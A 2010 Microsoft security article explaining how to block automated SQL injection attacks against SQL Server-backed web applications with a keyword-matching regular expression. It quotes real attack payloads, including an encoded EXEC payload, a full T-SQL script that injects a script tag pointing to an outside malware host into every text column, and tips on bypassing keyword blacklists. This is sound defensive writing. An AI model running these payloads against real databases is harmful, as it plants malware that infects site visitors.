Skip to main content

Blocking Automated SQL Injection Attacks

Published: November 10, 2010

Author: Bala Neerumalla, Senior Security Engineer - SQL Server, Microsoft Corporation

SQL injection attacks have been increasing over the last three years, mainly because of automated tools. Since these automated attacks were first noticed in December 2007, very little has changed in the way that they work. Attackers use automated tools to query search engines for interesting URLs and then submit various SQL injection payloads to each. The goal is to inject malicious JavaScript into all string columns in SQL database tables.

Microsoft has provided guidance ( http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx) and some tools ( www.microsoft.com/technet/security/advisory/954462.mspx) to combat these attacks. Microsoft has also started tracking these automated SQL injection attacks during the last one year and provides the information in the Microsoft® Security Intelligence Report.

Today I would like discuss another technique that one can use to block automated SQL injection attacks against web applications that use Microsoft SQL Server® as the back-end processor. (Note: These attacks exploit vulnerabilities in web applications; there are no known security vulnerabilities in Microsoft SQL Server). Before I describe the technique, I would like to reiterate that using parameterized queries is the best way to mitigate SQL injection vulnerabilities in web applications. You can read this  Quick Security Reference: SQL Injection that details various classes of SQL injection vulnerabilities and how to address them in the design, development, and testing phases.

Any generic SQL injection attack that has to work on multiple websites will have to construct a dynamic SQL statement to take some malicious action. Let’s examine the following payload used by the automated SQL injection attack:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020......F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

When you remove the encoding, we end up with the following TSQL code:

DECLARE@S NVARCHAR(4000);

SET@S=CAST(0x4400450043004C0041005200450020……F007200 AS NVARCHAR(4000));

EXEC(@S);--

This statement declares a string variable (@S) that contains a long hex value converted into a string, and then executes that string as a SQL statement. If one has to build a signature to detect this attack, declare, @<somechars>, varchar, and exec are the keywords that one has to use to construct this payload in that specific order.

It is not necessary that the attacker use hex encoding, as shown in the previous attack. They could have executed the following TSQL script as the main payload:

DECLARE@T varchar(255),@C varchar(255)

DECLARETable_Cursor CURSOR FOR

selecta.name,b.name from sysobjects a,syscolumns b

where

a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPENTable_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.2117966.net/f***jp.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSETable_Cursor

DEALLOCATETable_Cursor

Without going into details of what this script is doing, if you observe carefully you will see that it also uses declare, @<somechars>, varchar, and exec in that specific order.

So if we develop a regular expression that matches these keywords, we end up with the following:

[dD][\%]*[eE][\%]*[cC][\%]*[lL][\%]*[aA][\%]*[rR][\%]*[eE][\s\S]*[@][a-zA-Z0-9_]+[\s\S]*[nN]*[\%]*[vV][\%]*[aA][\%]*[rR][\%]*[cC][\%]*[hH][\%]*[aA][\%]*[rR][\s\S]*[eE][\%]*[xX][\%]*[eE][\%]*[cC][\s\S]*

I included both upper case and lower case letters and an optional % character after each character, as ASP seems to silently strip % characters that are not followed by two hex characters (0-9, A-F). Some automated attacks use these extra % characters to bypass blacklisted keywords.

This regular expression should effectively catch most generic automated SQL injection attacks. However, it won’t catch targeted attacks that inject the UNION operator or inference payloads to read the back-end objects, and then execute a non-dynamic SQL statement.

Now that we have a regular expression, we need to match incoming web requests against this regular expression. One of the earlier recommended tools from the IIS team is called URLScan. This tool helps server operators defend against attacks by scanning URLs for a keyword or a set of keywords, but it doesn’t have the ability to match a URL against a regular expression. The IIS team has shipped a new module for IIS 7, URL Rewrite, that has more features, including regular expression matching. Nazim Lala has blogged about using URL Rewrite to block automated SQL injection attacks using this regular expression. You can read his blog at http://blogs.iis.net/nazim/archive/2010/03/23/blocking-sql-injection-using-iis-url-rewrite.aspx.

You can also use this technique to block generic automated SQL injection attacks if you use a firewall product that lets you create blocking rules using regular expressions.

About the Author

Bala Neerumalla works as a Senior Security Engineer in SQL Server, where he is responsible for creating/driving security processes across the organization, finding security holes in the product and researching new classes of vulnerabilities to stay ahead of the attackers.

He joined Microsoft in 2001 and was responsible for shipping a secure SQL Server 2005, Exchange Hosted Services 5.0, SQL Server 2008 and SQL Azure V1.

Microsoft Security Newsletter

Sign up for a free monthly roundup of security news, bulletins, and guidance for IT pros and developers.